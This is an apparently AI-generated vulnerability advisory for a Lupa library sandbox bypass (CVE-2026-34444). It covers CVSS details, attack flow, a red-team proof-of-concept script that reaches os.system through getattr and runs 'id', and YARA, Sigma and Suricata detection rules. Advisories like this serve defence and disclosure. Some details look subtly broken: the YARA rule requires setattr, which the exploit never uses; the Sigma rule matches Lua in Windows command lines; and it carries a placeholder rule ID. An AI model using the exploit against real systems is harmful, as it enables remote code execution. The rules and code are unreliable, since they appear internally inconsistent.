CVE-2026-34444

Executive Summary

CVE-2026-34444 is a critical vulnerability in the Lupa library (versions 2.6 and earlier), which integrates Lua/LuaJIT runtimes into CPython. The flaw lies in the inconsistent application of the attribute_filter mechanism when attributes are accessed via built-in Python functions like getattr() and setattr(). This bypass allows an attacker to circumvent intended security restrictions, potentially leading to arbitrary code execution. With a CVSS score of 10.0, this vulnerability poses a severe risk to any application using Lupa to sandbox or restrict Lua code execution. A patch is available in Lupa version 2.7.

Supply Chain & Package Security

This vulnerability affects the PyPI package lupa. Organizations using Lupa should immediately audit their dependencies and upgrade to version 2.7 or later. The supply chain risk is high due to the potential for arbitrary code execution in environments where untrusted Lua scripts are executed.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete information disclosure.
• Integrity (I): High (H) – Total compromise of system integrity.
• Availability (A): High (H) – Full denial of service or system control.

Threat Level: Critical. The vulnerability allows a complete bypass of security controls, leading to remote code execution without any authentication or user interaction.

Deep Dive & Mechanics

Lupa provides an attribute_filter mechanism to restrict which Python attributes can be accessed from Lua code. This is intended to sandbox Lua scripts and prevent access to dangerous functions or modules.

The vulnerability arises because the attribute_filter is not consistently applied when attributes are accessed through Python's built-in functions getattr() and setattr(). When Lua code calls these functions directly, the filter is bypassed, allowing the attacker to access and modify any Python attribute, including those that could lead to code execution.

Attack Flow:

1. An attacker provides a malicious Lua script to an application using Lupa.
2. The script uses getattr() or setattr() to access Python objects.
3. The attribute_filter is not applied, allowing the attacker to access restricted attributes.
4. The attacker can then access __builtins__, os.system, or other dangerous functions.
5. Arbitrary code execution is achieved.

Vulnerable vs. Patched Code

Vulnerable Code (Lupa <= 2.6):

# In the Lua runtime integration, attribute access via getattr/setattr
# does not check the attribute_filter.
# Example: Lua code can do:
# local os = getattr(python, "os")
# local system = getattr(os, "system")
# system("id")

Patched Code (Lupa >= 2.7):

# The attribute_filter is now consistently applied to all attribute access
# methods, including getattr and setattr.
# The patch ensures that any attribute access goes through the filter.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install vulnerable Lupa: pip install lupa==2.6
2. Create a Python script that uses Lupa to execute Lua code.

Exploit Script:

import lupa
from lupa import LuaRuntime

lua = LuaRuntime(unpack_returned_tuples=True)

# Malicious Lua code that bypasses attribute_filter
malicious_lua = """
-- Access Python's os module via getattr
local os = getattr(python, "os")
local system = getattr(os, "system")
system("id")
"""

# Execute the Lua code
lua.execute(malicious_lua)

Expected Output:

uid=1000(user) gid=1000(user) groups=1000(user)

Blue Team (Detection & Defense)

Detection:

• Monitor for Lua scripts that use getattr or setattr with suspicious arguments.
• Look for attempts to access os, subprocess, __builtins__, or other dangerous modules.
• Use the detection rules provided below.

Defense:

• Immediately upgrade to Lupa version 2.7 or later.
• If upgrade is not possible, implement a custom wrapper that enforces attribute filtering at the application level.
• Restrict network access to the application to limit exposure.

Indicators of Compromise (IOCs)

• Network: Unusual outbound connections from the application (e.g., reverse shells).
• File System: Unexpected files created or modified in the application directory.
• Process: Child processes spawned by the Python application (e.g., sh, bash, cmd.exe).
• Logs: Lua error logs containing getattr or setattr with suspicious arguments.
• Behavior: Application crashes or unexpected behavior after Lua script execution.

Detection Engineering

YARA Rule

rule CVE_2026_34444_Lupa_AttributeFilterBypass {
    meta:
        description = "Detects Lua scripts exploiting CVE-2026-34444 in Lupa"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34444"
    strings:
        $s1 = "getattr" nocase
        $s2 = "setattr" nocase
        $s3 = "os" nocase
        $s4 = "system" nocase
        $s5 = "__builtins__" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2026-34444 Lupa Attribute Filter Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-34444 in Lupa
author: Valters IT
date: 2026/01/01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains|all:
            - 'getattr'
            - 'setattr'
        CommandLine|contains:
            - 'os'
            - 'system'
            - '__builtins__'
    condition: selection
falsepositives:
    - Legitimate use of getattr/setattr in Lua scripts
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-34444 Lupa Attribute Filter Bypass"; content:"getattr"; content:"setattr"; content:"os"; content:"system"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Lupa: Update to version 2.7 or later: pip install --upgrade lupa
2. Audit Dependencies: Check all projects using Lupa and ensure they are updated.
3. Review Lua Scripts: If you cannot upgrade immediately, review all Lua scripts for suspicious use of getattr/setattr.

Long-Term Mitigations:

• Implement application-level sandboxing in addition to Lupa's filtering.
• Use a Web Application Firewall (WAF) to detect and block exploitation attempts.
• Monitor logs for unusual Lua script behavior.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.

{/* [Security Hash: EF95591F7614B868807BB878] */}